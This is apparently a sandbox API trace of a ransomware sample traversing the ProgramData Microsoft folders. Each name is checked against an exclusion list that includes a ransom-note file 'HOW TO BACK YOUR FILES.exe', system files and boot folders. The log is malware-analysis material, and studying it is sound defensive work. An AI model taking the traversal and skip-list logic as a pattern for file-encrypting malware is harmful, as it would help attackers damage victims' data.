	[0078.814] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd36bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1
	[0078.814] lstrcmpiW (lpString1="Device Stage", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.814] lstrcmpiW (lpString1="Device Stage", lpString2="Apollon865.txt.exe") returned 1
	[0078.814] lstrcmpiW (lpString1="Device Stage", lpString2=".") returned 1
	[0078.814] lstrcmpiW (lpString1="Device Stage", lpString2="..") returned 1
	[0078.814] lstrcmpiW (lpString1="Device Stage", lpString2="windows") returned -1
	[0078.814] lstrcmpiW (lpString1="Device Stage", lpString2="bootmgr") returned 1
	[0078.814] lstrcmpiW (lpString1="Device Stage", lpString2="temp") returned -1
	[0078.814] lstrcmpiW (lpString1="Device Stage", lpString2="pagefile.sys") returned -1
	[0078.814] lstrcmpiW (lpString1="Device Stage", lpString2="boot") returned 1
	[0078.814] lstrcmpiW (lpString1="Device Stage", lpString2="ids.txt") returned -1
	[0078.814] lstrcmpiW (lpString1="Device Stage", lpString2="ntuser.dat") returned -1
	[0078.814] lstrcmpiW (lpString1="Device Stage", lpString2="perflogs") returned -1
	[0078.814] lstrcmpiW (lpString1="Device Stage", lpString2="MSBuild") returned -1
	[0078.814] lstrlenW (lpString="Device Stage") returned 12
	[0078.815] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto") returned 35
	[0078.815] lstrcpyW (in: lpString1=0x119e642, lpString2="Device Stage" | out: lpString1="Device Stage") returned="Device Stage"
	[0078.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0078.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x5983a8
	[0078.815] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7950 | out: ListHead=0x5b75f0, ListEntry=0x5b7950) returned 0x5b7c30
	[0078.815] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd36bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd36bb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1
	[0078.815] lstrcmpiW (lpString1="DeviceSync", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.815] lstrcmpiW (lpString1="DeviceSync", lpString2="Apollon865.txt.exe") returned 1
	[0078.815] lstrcmpiW (lpString1="DeviceSync", lpString2=".") returned 1
	[0078.815] lstrcmpiW (lpString1="DeviceSync", lpString2="..") returned 1
	[0078.815] lstrcmpiW (lpString1="DeviceSync", lpString2="windows") returned -1
	[0078.815] lstrcmpiW (lpString1="DeviceSync", lpString2="bootmgr") returned 1
	[0078.815] lstrcmpiW (lpString1="DeviceSync", lpString2="temp") returned -1
	[0078.815] lstrcmpiW (lpString1="DeviceSync", lpString2="pagefile.sys") returned -1
	[0078.815] lstrcmpiW (lpString1="DeviceSync", lpString2="boot") returned 1
	[0078.815] lstrcmpiW (lpString1="DeviceSync", lpString2="ids.txt") returned -1
	[0078.815] lstrcmpiW (lpString1="DeviceSync", lpString2="ntuser.dat") returned -1
	[0078.815] lstrcmpiW (lpString1="DeviceSync", lpString2="perflogs") returned -1
	[0078.815] lstrcmpiW (lpString1="DeviceSync", lpString2="MSBuild") returned -1
	[0078.815] lstrlenW (lpString="DeviceSync") returned 10
	[0078.815] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage") returned 41
	[0078.815] lstrcpyW (in: lpString1=0x119e642, lpString2="DeviceSync" | out: lpString1="DeviceSync") returned="DeviceSync"
	[0078.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0078.815] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bc8b0
	[0078.815] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7970 | out: ListHead=0x5b75f0, ListEntry=0x5b7970) returned 0x5b7950
	[0078.815] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd10a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd10a50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1
	[0078.815] lstrcmpiW (lpString1="DRM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.815] lstrcmpiW (lpString1="DRM", lpString2="Apollon865.txt.exe") returned 1
	[0078.815] lstrcmpiW (lpString1="DRM", lpString2=".") returned 1
	[0078.815] lstrcmpiW (lpString1="DRM", lpString2="..") returned 1
	[0078.815] lstrcmpiW (lpString1="DRM", lpString2="windows") returned -1
	[0078.815] lstrcmpiW (lpString1="DRM", lpString2="bootmgr") returned 1
	[0078.815] lstrcmpiW (lpString1="DRM", lpString2="temp") returned -1
	[0078.815] lstrcmpiW (lpString1="DRM", lpString2="pagefile.sys") returned -1
	[0078.815] lstrcmpiW (lpString1="DRM", lpString2="boot") returned 1
	[0078.816] lstrcmpiW (lpString1="DRM", lpString2="ids.txt") returned -1
	[0078.816] lstrcmpiW (lpString1="DRM", lpString2="ntuser.dat") returned -1
	[0078.816] lstrcmpiW (lpString1="DRM", lpString2="perflogs") returned -1
	[0078.816] lstrcmpiW (lpString1="DRM", lpString2="MSBuild") returned -1
	[0078.816] lstrlenW (lpString="DRM") returned 3
	[0078.816] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\DeviceSync") returned 39
	[0078.816] lstrcpyW (in: lpString1=0x119e642, lpString2="DRM" | out: lpString1="DRM") returned="DRM"
	[0078.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0078.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5bde88
	[0078.816] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b70 | out: ListHead=0x5b75f0, ListEntry=0x5b7b70) returned 0x5b7970
	[0078.816] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x2fcea8f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fcea8f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1
	[0078.816] lstrcmpiW (lpString1="eHome", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.816] lstrcmpiW (lpString1="eHome", lpString2="Apollon865.txt.exe") returned 1
	[0078.816] lstrcmpiW (lpString1="eHome", lpString2=".") returned 1
	[0078.816] lstrcmpiW (lpString1="eHome", lpString2="..") returned 1
	[0078.816] lstrcmpiW (lpString1="eHome", lpString2="windows") returned -1
	[0078.816] lstrcmpiW (lpString1="eHome", lpString2="bootmgr") returned 1
	[0078.816] lstrcmpiW (lpString1="eHome", lpString2="temp") returned -1
	[0078.816] lstrcmpiW (lpString1="eHome", lpString2="pagefile.sys") returned -1
	[0078.816] lstrcmpiW (lpString1="eHome", lpString2="boot") returned 1
	[0078.816] lstrcmpiW (lpString1="eHome", lpString2="ids.txt") returned -1
	[0078.816] lstrcmpiW (lpString1="eHome", lpString2="ntuser.dat") returned -1
	[0078.816] lstrcmpiW (lpString1="eHome", lpString2="perflogs") returned -1
	[0078.816] lstrcmpiW (lpString1="eHome", lpString2="MSBuild") returned -1
	[0078.816] lstrlenW (lpString="eHome") returned 5
	[0078.816] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\DRM") returned 32
	[0078.816] lstrcpyW (in: lpString1=0x119e642, lpString2="eHome" | out: lpString1="eHome") returned="eHome"
	[0078.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0078.816] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x46) returned 0x5bdde8
	[0078.816] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7ad0 | out: ListHead=0x5b75f0, ListEntry=0x5b7ad0) returned 0x5b7b70
	[0078.816] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc52370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
	[0078.816] lstrcmpiW (lpString1="Event Viewer", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.816] lstrcmpiW (lpString1="Event Viewer", lpString2="Apollon865.txt.exe") returned 1
	[0078.816] lstrcmpiW (lpString1="Event Viewer", lpString2=".") returned 1
	[0078.816] lstrcmpiW (lpString1="Event Viewer", lpString2="..") returned 1
	[0078.816] lstrcmpiW (lpString1="Event Viewer", lpString2="windows") returned -1
	[0078.816] lstrcmpiW (lpString1="Event Viewer", lpString2="bootmgr") returned 1
	[0078.817] lstrcmpiW (lpString1="Event Viewer", lpString2="temp") returned -1
	[0078.817] lstrcmpiW (lpString1="Event Viewer", lpString2="pagefile.sys") returned -1
	[0078.817] lstrcmpiW (lpString1="Event Viewer", lpString2="boot") returned 1
	[0078.817] lstrcmpiW (lpString1="Event Viewer", lpString2="ids.txt") returned -1
	[0078.817] lstrcmpiW (lpString1="Event Viewer", lpString2="ntuser.dat") returned -1
	[0078.817] lstrcmpiW (lpString1="Event Viewer", lpString2="perflogs") returned -1
	[0078.817] lstrcmpiW (lpString1="Event Viewer", lpString2="MSBuild") returned -1
	[0078.817] lstrlenW (lpString="Event Viewer") returned 12
	[0078.817] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\eHome") returned 34
	[0078.817] lstrcpyW (in: lpString1=0x119e642, lpString2="Event Viewer" | out: lpString1="Event Viewer") returned="Event Viewer"
	[0078.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0078.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x598468
	[0078.817] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a50 | out: ListHead=0x5b75f0, ListEntry=0x5b7a50) returned 0x5b7ad0
	[0078.817] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f71d350, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f71d350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0078.817] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0078.817] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fc52370, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc52370, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1
	[0078.817] lstrcmpiW (lpString1="IdentityCRL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.817] lstrcmpiW (lpString1="IdentityCRL", lpString2="Apollon865.txt.exe") returned 1
	[0078.817] lstrcmpiW (lpString1="IdentityCRL", lpString2=".") returned 1
	[0078.817] lstrcmpiW (lpString1="IdentityCRL", lpString2="..") returned 1
	[0078.817] lstrcmpiW (lpString1="IdentityCRL", lpString2="windows") returned -1
	[0078.817] lstrcmpiW (lpString1="IdentityCRL", lpString2="bootmgr") returned 1
	[0078.817] lstrcmpiW (lpString1="IdentityCRL", lpString2="temp") returned -1
	[0078.817] lstrcmpiW (lpString1="IdentityCRL", lpString2="pagefile.sys") returned -1
	[0078.817] lstrcmpiW (lpString1="IdentityCRL", lpString2="boot") returned 1
	[0078.817] lstrcmpiW (lpString1="IdentityCRL", lpString2="ids.txt") returned -1
	[0078.817] lstrcmpiW (lpString1="IdentityCRL", lpString2="ntuser.dat") returned -1
	[0078.817] lstrcmpiW (lpString1="IdentityCRL", lpString2="perflogs") returned -1
	[0078.817] lstrcmpiW (lpString1="IdentityCRL", lpString2="MSBuild") returned -1
	[0078.817] lstrlenW (lpString="IdentityCRL") returned 11
	[0078.817] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned 41
	[0078.817] lstrcpyW (in: lpString1=0x119e642, lpString2="IdentityCRL" | out: lpString1="IdentityCRL") returned="IdentityCRL"
	[0078.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0078.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x5984c8
	[0078.817] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b10 | out: ListHead=0x5b75f0, ListEntry=0x5b7b10) returned 0x5b7a50
	[0078.817] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc2c210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
	[0078.818] lstrcmpiW (lpString1="Media Player", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.818] lstrcmpiW (lpString1="Media Player", lpString2="Apollon865.txt.exe") returned 1
	[0078.818] lstrcmpiW (lpString1="Media Player", lpString2=".") returned 1
	[0078.818] lstrcmpiW (lpString1="Media Player", lpString2="..") returned 1
	[0078.818] lstrcmpiW (lpString1="Media Player", lpString2="windows") returned -1
	[0078.818] lstrcmpiW (lpString1="Media Player", lpString2="bootmgr") returned 1
	[0078.818] lstrcmpiW (lpString1="Media Player", lpString2="temp") returned -1
	[0078.818] lstrcmpiW (lpString1="Media Player", lpString2="pagefile.sys") returned -1
	[0078.818] lstrcmpiW (lpString1="Media Player", lpString2="boot") returned 1
	[0078.818] lstrcmpiW (lpString1="Media Player", lpString2="ids.txt") returned 1
	[0078.818] lstrcmpiW (lpString1="Media Player", lpString2="ntuser.dat") returned -1
	[0078.818] lstrcmpiW (lpString1="Media Player", lpString2="perflogs") returned -1
	[0078.818] lstrcmpiW (lpString1="Media Player", lpString2="MSBuild") returned -1
	[0078.818] lstrlenW (lpString="Media Player") returned 12
	[0078.818] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned 40
	[0078.818] lstrcpyW (in: lpString1=0x119e642, lpString2="Media Player" | out: lpString1="Media Player") returned="Media Player"
	[0078.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0078.818] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x598528
	[0078.818] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7990 | out: ListHead=0x5b75f0, ListEntry=0x5b7990) returned 0x5b7b10
	[0078.818] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc2c210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1
	[0078.818] lstrcmpiW (lpString1="MF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.818] lstrcmpiW (lpString1="MF", lpString2="Apollon865.txt.exe") returned 1
	[0078.818] lstrcmpiW (lpString1="MF", lpString2=".") returned 1
	[0078.818] lstrcmpiW (lpString1="MF", lpString2="..") returned 1
	[0078.818] lstrcmpiW (lpString1="MF", lpString2="windows") returned -1
	[0078.818] lstrcmpiW (lpString1="MF", lpString2="bootmgr") returned 1
	[0078.818] lstrcmpiW (lpString1="MF", lpString2="temp") returned -1
	[0078.818] lstrcmpiW (lpString1="MF", lpString2="pagefile.sys") returned -1
	[0078.818] lstrcmpiW (lpString1="MF", lpString2="boot") returned 1
	[0078.818] lstrcmpiW (lpString1="MF", lpString2="ids.txt") returned 1
	[0078.818] lstrcmpiW (lpString1="MF", lpString2="ntuser.dat") returned -1
	[0078.818] lstrcmpiW (lpString1="MF", lpString2="perflogs") returned -1
	[0078.818] lstrcmpiW (lpString1="MF", lpString2="MSBuild") returned -1
	[0078.818] lstrlenW (lpString="MF") returned 2
	[0078.818] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Media Player") returned 41
	[0078.818] lstrcpyW (in: lpString1=0x119e642, lpString2="MF" | out: lpString1="MF") returned="MF"
	[0078.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0078.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x40) returned 0x5b6118
	[0078.819] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a70 | out: ListHead=0x5b75f0, ListEntry=0x5b7a70) returned 0x5b7990
	[0078.819] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1
	[0078.819] lstrcmpiW (lpString1="MSDN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.819] lstrcmpiW (lpString1="MSDN", lpString2="Apollon865.txt.exe") returned 1
	[0078.819] lstrcmpiW (lpString1="MSDN", lpString2=".") returned 1
	[0078.819] lstrcmpiW (lpString1="MSDN", lpString2="..") returned 1
	[0078.819] lstrcmpiW (lpString1="MSDN", lpString2="windows") returned -1
	[0078.819] lstrcmpiW (lpString1="MSDN", lpString2="bootmgr") returned 1
	[0078.819] lstrcmpiW (lpString1="MSDN", lpString2="temp") returned -1
	[0078.819] lstrcmpiW (lpString1="MSDN", lpString2="pagefile.sys") returned -1
	[0078.819] lstrcmpiW (lpString1="MSDN", lpString2="boot") returned 1
	[0078.819] lstrcmpiW (lpString1="MSDN", lpString2="ids.txt") returned 1
	[0078.819] lstrcmpiW (lpString1="MSDN", lpString2="ntuser.dat") returned -1
	[0078.819] lstrcmpiW (lpString1="MSDN", lpString2="perflogs") returned -1
	[0078.819] lstrcmpiW (lpString1="MSDN", lpString2="MSBuild") returned 1
	[0078.819] lstrlenW (lpString="MSDN") returned 4
	[0078.819] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\MF") returned 31
	[0078.819] lstrcpyW (in: lpString1=0x119e642, lpString2="MSDN" | out: lpString1="MSDN") returned="MSDN"
	[0078.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0078.819] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x44) returned 0x5bded8
	[0078.819] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b90 | out: ListHead=0x5b75f0, ListEntry=0x5b7b90) returned 0x5b7a70
	[0078.819] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbdff50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1
	[0078.819] lstrcmpiW (lpString1="NetFramework", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.819] lstrcmpiW (lpString1="NetFramework", lpString2="Apollon865.txt.exe") returned 1
	[0078.819] lstrcmpiW (lpString1="NetFramework", lpString2=".") returned 1
	[0078.819] lstrcmpiW (lpString1="NetFramework", lpString2="..") returned 1
	[0078.819] lstrcmpiW (lpString1="NetFramework", lpString2="windows") returned -1
	[0078.819] lstrcmpiW (lpString1="NetFramework", lpString2="bootmgr") returned 1
	[0078.819] lstrcmpiW (lpString1="NetFramework", lpString2="temp") returned -1
	[0078.819] lstrcmpiW (lpString1="NetFramework", lpString2="pagefile.sys") returned -1
	[0078.819] lstrcmpiW (lpString1="NetFramework", lpString2="boot") returned 1
	[0078.819] lstrcmpiW (lpString1="NetFramework", lpString2="ids.txt") returned 1
	[0078.819] lstrcmpiW (lpString1="NetFramework", lpString2="ntuser.dat") returned -1
	[0078.819] lstrcmpiW (lpString1="NetFramework", lpString2="perflogs") returned -1
	[0078.819] lstrcmpiW (lpString1="NetFramework", lpString2="MSBuild") returned 1
	[0078.820] lstrlenW (lpString="NetFramework") returned 12
	[0078.820] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\MSDN") returned 33
	[0078.820] lstrcpyW (in: lpString1=0x119e642, lpString2="NetFramework" | out: lpString1="NetFramework") returned="NetFramework"
	[0078.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0078.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x54) returned 0x598588
	[0078.820] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bf0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bf0) returned 0x5b7b90
	[0078.820] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbb9df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1
	[0078.820] lstrcmpiW (lpString1="Network", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.820] lstrcmpiW (lpString1="Network", lpString2="Apollon865.txt.exe") returned 1
	[0078.820] lstrcmpiW (lpString1="Network", lpString2=".") returned 1
	[0078.820] lstrcmpiW (lpString1="Network", lpString2="..") returned 1
	[0078.820] lstrcmpiW (lpString1="Network", lpString2="windows") returned -1
	[0078.820] lstrcmpiW (lpString1="Network", lpString2="bootmgr") returned 1
	[0078.820] lstrcmpiW (lpString1="Network", lpString2="temp") returned -1
	[0078.820] lstrcmpiW (lpString1="Network", lpString2="pagefile.sys") returned -1
	[0078.820] lstrcmpiW (lpString1="Network", lpString2="boot") returned 1
	[0078.820] lstrcmpiW (lpString1="Network", lpString2="ids.txt") returned 1
	[0078.820] lstrcmpiW (lpString1="Network", lpString2="ntuser.dat") returned -1
	[0078.820] lstrcmpiW (lpString1="Network", lpString2="perflogs") returned -1
	[0078.820] lstrcmpiW (lpString1="Network", lpString2="MSBuild") returned 1
	[0078.820] lstrlenW (lpString="Network") returned 7
	[0078.820] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\NetFramework") returned 41
	[0078.820] lstrcpyW (in: lpString1=0x119e642, lpString2="Network" | out: lpString1="Network") returned="Network"
	[0078.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0078.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bcb18
	[0078.820] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c50 | out: ListHead=0x5b75f0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0078.820] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb21870, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb21870, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1
	[0078.820] lstrcmpiW (lpString1="OFFICE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.820] lstrcmpiW (lpString1="OFFICE", lpString2="Apollon865.txt.exe") returned 1
	[0078.820] lstrcmpiW (lpString1="OFFICE", lpString2=".") returned 1
	[0078.820] lstrcmpiW (lpString1="OFFICE", lpString2="..") returned 1
	[0078.820] lstrcmpiW (lpString1="OFFICE", lpString2="windows") returned -1
	[0078.820] lstrcmpiW (lpString1="OFFICE", lpString2="bootmgr") returned 1
	[0078.820] lstrcmpiW (lpString1="OFFICE", lpString2="temp") returned -1
	[0078.820] lstrcmpiW (lpString1="OFFICE", lpString2="pagefile.sys") returned -1
	[0078.820] lstrcmpiW (lpString1="OFFICE", lpString2="boot") returned 1
	[0078.821] lstrcmpiW (lpString1="OFFICE", lpString2="ids.txt") returned 1
	[0078.821] lstrcmpiW (lpString1="OFFICE", lpString2="ntuser.dat") returned 1
	[0078.821] lstrcmpiW (lpString1="OFFICE", lpString2="perflogs") returned -1
	[0078.821] lstrcmpiW (lpString1="OFFICE", lpString2="MSBuild") returned 1
	[0078.821] lstrlenW (lpString="OFFICE") returned 6
	[0078.821] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Network") returned 36
	[0078.821] lstrcpyW (in: lpString1=0x119e642, lpString2="OFFICE" | out: lpString1="OFFICE") returned="OFFICE"
	[0078.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0078.821] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bdf28
